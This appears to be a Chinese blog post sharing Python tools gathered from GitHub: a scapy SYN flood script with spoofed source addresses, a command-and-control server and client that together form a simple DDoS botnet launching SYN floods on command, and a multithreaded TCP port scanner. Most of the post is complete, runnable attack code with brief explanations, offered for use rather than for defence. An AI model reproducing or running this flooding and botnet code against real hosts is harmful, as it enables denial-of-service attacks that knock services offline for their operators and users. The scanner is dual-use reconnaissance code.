python实现端口扫描器/DoS/DDoS
整理github,梳理下Python小工具。以下是python实现的DoS/DDoS/端口扫描器(github)。
一、DoS
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。参考链接:https://baike.so.com/doc/5503756-5739500.html
利用python的scapy库可以很容易的实现DoS攻击。简单来说,scapy就是模拟客户端TCP链接的第一次握手,发送携带syn的数据包给服务端。当服务端返回syn+ack应答时,正常的客户端应该发送携带ack的响应以完成3次握手。而不正常的客户端不再响应,当有数以万记的这样的客户端时,服务器会维护一个非常大的半连接列表而消耗非常大的资源。最后导致堆栈溢出,或是服务端失去响应。
scapy库可以很容易的模拟不同的src来发起连接,所有脚本需要在root下执行。
#!/usr/bin/env python3 import random from scapy.all import * def synFlood(target, dPort): srcList = ['201.1.1.2','10.1.1.12','69.1.1.2','125.130.5.199'] for sPort in range(1025,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index],dst=target) tcpLayer = TCP(sport=sPort,dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)
二、DDoS
DDoS相比DoS,不再是一个客户端发起攻击,而是由一台服务器通过socket与多台客户端建立连接,当服务器下发攻击命令时,所有客户端一起向目标机器发起攻击。
1)server部分
服务端首先需要创建socket,绑定端口和网络地址。同时开辟一个线程来建立连接,当有新的连接建立时,把连接实例存放到一个列表中。发送命令时,遍历列表,向每个socket实例发送命令。
# -*- coding:utf-8 -*- #!/usr/bin/env python3 import socket import argparse from threading import Thread import logging import logging.config logging.config.fileConfig("logger.conf") logger = logging.getLogger("serverLogger") socketList = []#成功建立连接的socket实例列表 def sendCmd(cmd): print('Send command...') for sock in socketList: sock.send(bytes(cmd,encoding='utf-8')) def waitConnect(s): while True: sock,addr = s.accept() #sock是已经建立连接的socket 实例 if sock not in socketList: socketList.append(sock) def main(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',58868)) s.listen(1024) t = Thread(target=waitConnect,args=(s,))#开辟线程来建立连接 t.start() print('Wait at least a client connection') while not len(socketList): pass print('It has been a client connection') while True: print('='*50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>"') cmd_str = input('Please input cmd:') if len(cmd_str): if cmd_str[0]=='#': sendCmd(cmd_str) else: logging.error('error format!') logging.error(cmd_str) if __name__=='__main__': main()
2)client部分
client部分主要负责对服务端发送的命令进行解析(argparse模块)。如果命令格式正确,判断当前是否有攻击在执行,如果有,则停止攻击的进程,重新发起攻击;如果没有,则直接发起攻击。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import socket import sys import random import argparse from multiprocessing import Process from scapy.all import * import os import logging import logging.config logging.config.fileConfig("logger.conf") logger = logging.getLogger("clientLogger") isWorking = False curProcess = None #synFlood攻击 def synFlood(target, dPort): print('='*100) print('The syn Flood is running!') logging.info('The syn Flood is running!') print('='*100) srcList=['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1025,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index],dst=target) tcpLayer = TCP(sport=sPort,dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet) #处理命令 def cmdHandle(sock, parser): global curProcess while True: data = sock.recv(1024).decode('utf-8') if len(data)==0: print('The data is empty!') logging.error('The data received is empty!') return if data[0]=='#': try: options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd if m_cmd.lower()=='start': if curProcess !=None and curProcess.is_alive(): curProcess.terminate() curProcess = None os.system('clear') logging.info('stop current process to prepare for new process.') print('The synFlood is start') logging.info('The synFlood is start') p = Process(target=synFlood,args=(m_host,int(m_port))) p.start() curProcess = p elif m_cmd.lower() == 'stop': if curProcess !=None and curProcess.is_alive(): curProcess.terminate() os.system('clear') logging.info('stop current process.') except (Exception) as e: print(e) print('Failed to perform the command!') logging.error('command format error.') def main(): p = argparse.ArgumentParser() p.add_argument('-H', dest='host',type=str) p.add_argument('-p', dest='port',type=str) p.add_argument('-c', dest='cmd', type=str) print('*'*40) try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',58868)) print('To connected server was success!') print('='*40) cmdHandle(s,p) except (Exception) as e: print (e) logging.error(e) print('The network connected failed!') print('Please restart the script') sys.exit(0) if __name__=='__main__': main()
3)日志记录
这里使用Python的logging模块进行记录。存在一个bug,不知道有同学能帮忙看出问题在哪里么?Client模块和Server模块使用了不同的logger,预期分别记录到Client.log和Server.log中。但结果全部都会记录到Server.log中。
logger.conf设置如下:
############### [loggers] keys = root,serverLogger,clientLogger [logger_root] handlers = serverHandler level = DEBUG [logger_serverLogger] handlers = serverHandler qualname = serverLogger propagate = 0 [logger_clientLogger] handlers = clientHandler qualname = clientLogger propagate = 0 #################### [handlers] keys = serverHandler,clientHandler [handler_serverHandler] class = FileHandler level = DEBUG formatter = serverFormatter args = ("logs/Server.log","a") [handler_clientHandler] class = FileHandler level = DEBUG formatter = clientFormatter args = ("logs/Client.log","a") ################# [formatters] keys = serverFormatter,clientFormatter [formatter_serverFormatter] format=%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s datefmt = %d %b %Y %H:%M:%S [formatter_clientFormatter] format=%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s datefmt = %d %b %Y %H:%M:%S
三、端口扫描器
端口扫描是指客户端向一定范围内的服务器端口发送对应请求,以此确认可使用的端口。常被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上可运行的服务。
这里使用socket建立对待扫描的端口,建立完成的TCP连接。如果能够建立,说明端口是开放的。判断完毕后关闭连接。使用多线程来执行每一个TCP连接:
#!/usr/bin/env python3 import sys import _thread from socket import * def tcp_test(port): sock = socket(AF_INET,SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((target_ip, port)) if result==0: lock.acquire() print("Opened Port: ", port) lock.release() if __name__ == '__main__': #scanPort_multi_thread.py <host> <start_port>-<end_port> host = sys.argv[1] portstrs = sys.argv[2].split('-') start_port = int(portstrs[0]) end_port = int(portstrs[1]) target_ip = gethostbyname(host) lock = _thread.allocate_lock() for port in range(start_port, end_port): _thread.start_new_thread(tcp_test, (port,))
python实现端口扫描器/DoS/DDoS的更多相关文章
- Python开发端口扫描器
首先是最常用的端口扫描器: 虽说有nmap等强大的工具,不过如果由于条件限制无法安装Nmap呢? 我这个脚本写的比较简单,默认扫描1-65535全部的端口 实际的话,可以根据需要自己修改脚本来实现定制 ...
- Python之端口扫描器编写
其实,写个扫描器也挺好玩的,牵涉到了RAW Socket编程,可以尽情地DIY数据包(当然,不符合数据包规则,比如checksum错误就没办法了),收获颇深.其中,我觉得用C语言写更有利于在编写过程中 ...
- 再议perl写多线程端口扫描器
再议perl写多线程端口扫描器 http://blog.csdn.net/sx1989827/article/details/4642179 perl写端口多线程扫描器 http://blog.csd ...
- Python与Hack之window下运行带参数的Python脚本,实现一个简单的端口扫描器
1.前提是:windows已经配置好Python的环境变量: 2.进入cmd命令行模式: **输入python命令,检测是否环境配置好:显示这样说明配置环境变量没问题 **用cd命令进入Python脚 ...
- python端口扫描器
吃了个火鸡面后感觉到了怀疑人生!!!!!!!!!妈耶,在也不吃了.思路都给辣没了!!! python端口扫描器代码如下: #-*-coding:utf-8 from socket import * i ...
- python实现FTP弱口令扫描器与简单端口扫描器
python实现FTP弱口令扫描器与简单端口扫描器 目录 FTP弱口令扫描器 简单端口扫描器 参考: https://blog.csdn.net/rebelqsp/article/details/22 ...
- 使用Python编写简单的端口扫描器的实例分享【转】
转自 使用Python编写简单的端口扫描器的实例分享_python_脚本之家 http://www.jb51.net/article/76630.htm -*- coding:utf8 -*- #!/ ...
- Python脚本写端口扫描器(socket,python-nmap)
目录 Socket模块编写 扫描给定主机是否开放了指定的端口 python-nmap模块编写 扫描给定ip或给定网段内指定端口是否开放 一个用python写的简单的端口扫描器,python环境为 3. ...
- 『Python』 多线程 端口扫描器
0x 00 Before Coding 当端口打开时,向端口发送 TCP SYN 请求,会返回一个 ACK 响应: 当端口关闭,返回的是 RST 响应: 0x 01 Coding 可以用 socke ...
随机推荐
- jQuery 遍历函数(八)
函数 描述 .add() 将元素添加到匹配元素的集合中. .andSelf() 把堆栈中之前的元素集添加到当前集合中. .children() 获得匹配元素集合中每个元素的所有子元素. .closes ...
- IIFF(立即执行函数表达式)
立即执行函数表达式(Immediately-invoked function expression,IIFF) 在javascript(ES5)中,是没有块级作用域的概念的 for (var i = ...
- K:Union-Find(并查集)算法
相关介绍: 并查集的相关算法,是我见过的,最为之有趣的算法之一.并查集是一种树型的数据结构,用于处理一些不相交集合(Disjoint Sets)的合并及查询问题.其相关的实现代码较为简短,实现思想也 ...
- Oracle重做日志恢复数据模拟实验
一 系统环境: 1.操作系统:oracle Linux 5.6 2.数据库: Oracle 11g 二 Oracle 重做日志的作用: [模拟介质恢复] 1. 关闭数据库归档模式: [oracle@t ...
- 【动态规划】洛谷P1006传纸条
题目描述: 小渊和小轩是好朋友也是同班同学,他们在一起总有谈不完的话题.一次素质拓展活动中,班上同学安排做成一个m行n列的矩阵,而小渊和小轩被安排在矩阵对角线的两端,因此,他们就无法直接交谈了.幸运的 ...
- 用clipboard.js实现纯JS复制文本到剪切板
以前很多人都是用ZeroClipboard.js来实现网页复制内容,火端也是用它.ZeroClipboard是利用flash来实现的,ZeroClipboard兼容性很好,但是由于现在越来越多的浏览器 ...
- mvc中传入字典的模型项的类型问题
刚项目一直报这个错,找了一会发现忘了给他模型项了,我把这个小问题纪录下来,希望你们别犯这个小错
- 为什么会有OPTIONS请求
在做项目时,很多时候发送一个post请求,是先发送一个option请求,然后再发送post请求,一直这么用之前也没有仔细思考,今天有时间,好好了解一下为什么会多一次请求. 疑问1:什么是options ...
- I2C 读取总是 0xFF,但是 ACK 是正常的解决方法
最近要读写 24C256,没有参考网上代码,自己撸了几个小时,总是不对,读取结果总是 0xFF,但是ACK的返回都是正确的,经过一番努力,终于找到问题所在了. 在芯片规格书里面时序图只有 START ...
- SSE图像算法优化系列十三:超高速BoxBlur算法的实现和优化(Opencv的速度的五倍)
在SSE图像算法优化系列五:超高速指数模糊算法的实现和优化(10000*10000在100ms左右实现) 一文中,我曾经说过优化后的ExpBlur比BoxBlur还要快,那个时候我比较的BoxBlur ...